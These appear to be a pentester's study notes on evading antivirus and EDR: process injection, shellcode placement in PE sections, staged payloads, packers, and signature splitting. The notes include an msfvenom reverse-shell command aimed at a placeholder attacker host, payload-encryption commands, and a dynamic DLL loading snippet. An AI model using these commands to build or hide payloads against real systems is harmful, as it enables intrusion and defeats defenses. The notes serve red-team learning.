All notes

Antivirus evading techniques

1. Process Injection

Process Injection_ is a term to describe injecting malicious code into a legitimate process (existing or created) through legitimate Windows functionalities, bypassing EDRs and AVs.

There is a lot of different techniques to perform the process injection using different Windows components.

Almost all process injections can be reduced into following steps:

  1. Open/create a target process.
  2. Inject the shellcode to the target process memory.
  3. Execute the shellcode.

1.1. Memory execution tricks

Standard CreateThread and CreateRemote Thread functions could be monitored by an EDR. There is couple tricks how to execute code in a different way:

  • Invoking function pointers
  • Asynchronous Procedure Calls
  • PE section manipulation

2. Shellcode

Shellcode is a set of machine code instructions that creates a reverse command shell (in most cases). Usually it is stored as an array of bytes within the source code but there are different techniques how to hide it within the PE structures.

2.1. Shellcode hiding

Understanding of the Portable Executable (PE) structure allows us to manipulate the location where the shellcode is stored in the EXE file. We can control in which data section to store our shellcode by how we define and initialize the shellcode variable. The shellcode must be stored within the file but the exact location might be controlled in order to evade AV software.

  • Local variable within the function - .TEXT section.
  • Global variable - .DATA section.
  • Raw binary in an icon image - .RSRC section.
  • Custom section - created custom data section.

2.2. Custom shellcode

Shellcode is generally written in Assembly and translated into hex opcodes. Writing custom shellcode helps in evading AV software significantly. Majority of low-cost malware uses just generic shellcode well-known by any AV software.

2.3. Shellcode generating

There is a lot of tools intended to generate a shellcode. Generic shellcode is usually well detected by AV software. Most C2 frameworks provide their own shellcode generator compatible with the C2 platform.

# Generate C-style array of bytes with the reverse-shell Windows shellcode
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=<attacker-ip> LPORT=<attacker-port> -f c

NOTE: Msfvenom has a lot more payloads than just a reverse-shell connection (e.g. windows/adduser).

2.4. Staged vs stageless

A stageless payload embeds the final shellcode directly into the EXE file. It's a packaged app that executes the shellcode in a single-step process. It doesn't require any additional network connection but there is a bigger footprint on disk.

A staged payload works by using intermediary shellcodes that act as steps leading to the execution of a final shellcode. Each of these intermediary shellcodes is known as a stager, and its primary goal is to provide a means to retrieve the final shellcode and execute it eventually. It's a technique used to evade AV software. Usually there are 2 stages of the shellcode delivery. It requires network connection but there is a smaller footprint on disk.

Using msfvenom tool windows/x64/shell_reverse_tcp means stageless and windows/x64/shell/reverse_tcp means staged payload.

2.5. Encoding & Encryption

Some kind of encoding or encryption is a great way to evade binary static analysis. Especially generic well-known shellcodes generated using msfvenom needs to be somehow additionally protected. Nowadays most of the AV software is able to decode common encoding algorithms. Msfvenom has a bit scarce list of available encryption algorithms.

# List available algorithms
msfvenom --list encrypt
 
# Add payload encryption
msfvenom [payload-args] --encrypt aes256 --encrypt-key "<ENCRYPTION-KEY>"

NOTE: Default msfvenom payloads are almost fully-detectable by AV software, even if it's encrypted. It doesn't mean that msfvenom is completely useless. Custom chain of encryption and encoding can still do the job.

3. Packers

Packers are software that transform the program so that its structure looks different, but their functionality remains the same. Packers are obfuscating the final PE structure, the code and compress it. Apart from malware development, they are used to protect the software from being reverse engineered or cracked. Most common packers: UPS, MPRESS, Themida. Sometimes they add some anti-debbuging code.

The packers embed a code stub that contains an unpacker and redirect the main entry point to it. If the unpacker has a known signature, AV solutions might still detect any packed executable based on the unpacker stub only. In-memory unpacked payload still can be detected by memory scanning but it can be evaded with anti-vm techniques.

4. Signature evasion

AV software tries to identify pre-defined signatures in a PE file which can indicate a potential threat. Spliting malicious EXE into smaller and smaller halfs (and running AV scan against them) we can identify chain of bytes that causes AV detection alert.

# Check the provided file for a malware signature
ThreatCheck.exe -f <FILE_TO_SCAN> -e AMSI
 
# Another tool
amsitrigger.exe -i <FILE_TO_SCAN> -f 3

5. Dynamic loading of WinAPI DLLs

All identifiers of WinAPI functions being used are stored in the Import Address Table (IAT) in a PE file header IMAGE_OPTIONAL_HEADER. To obtain the function pointer to the WinAPI functions we can load DLLs dynamically at runtime (kernel32.dll or ntdll.dll).

// Load DLL at runtime
HMODULE h = LoadLibraryA("kernel32.dll");
 
// Get function from DLL
myFunc myFuncPtr = GetProcAddress(h, "<FUNCTION_NAME>");

Of course LoadLibraryA and GetProcAddress functions are still present in the IAT.

6. WinAPI Unhooking

TBD

7. Position Independent Code (PIC)

TBD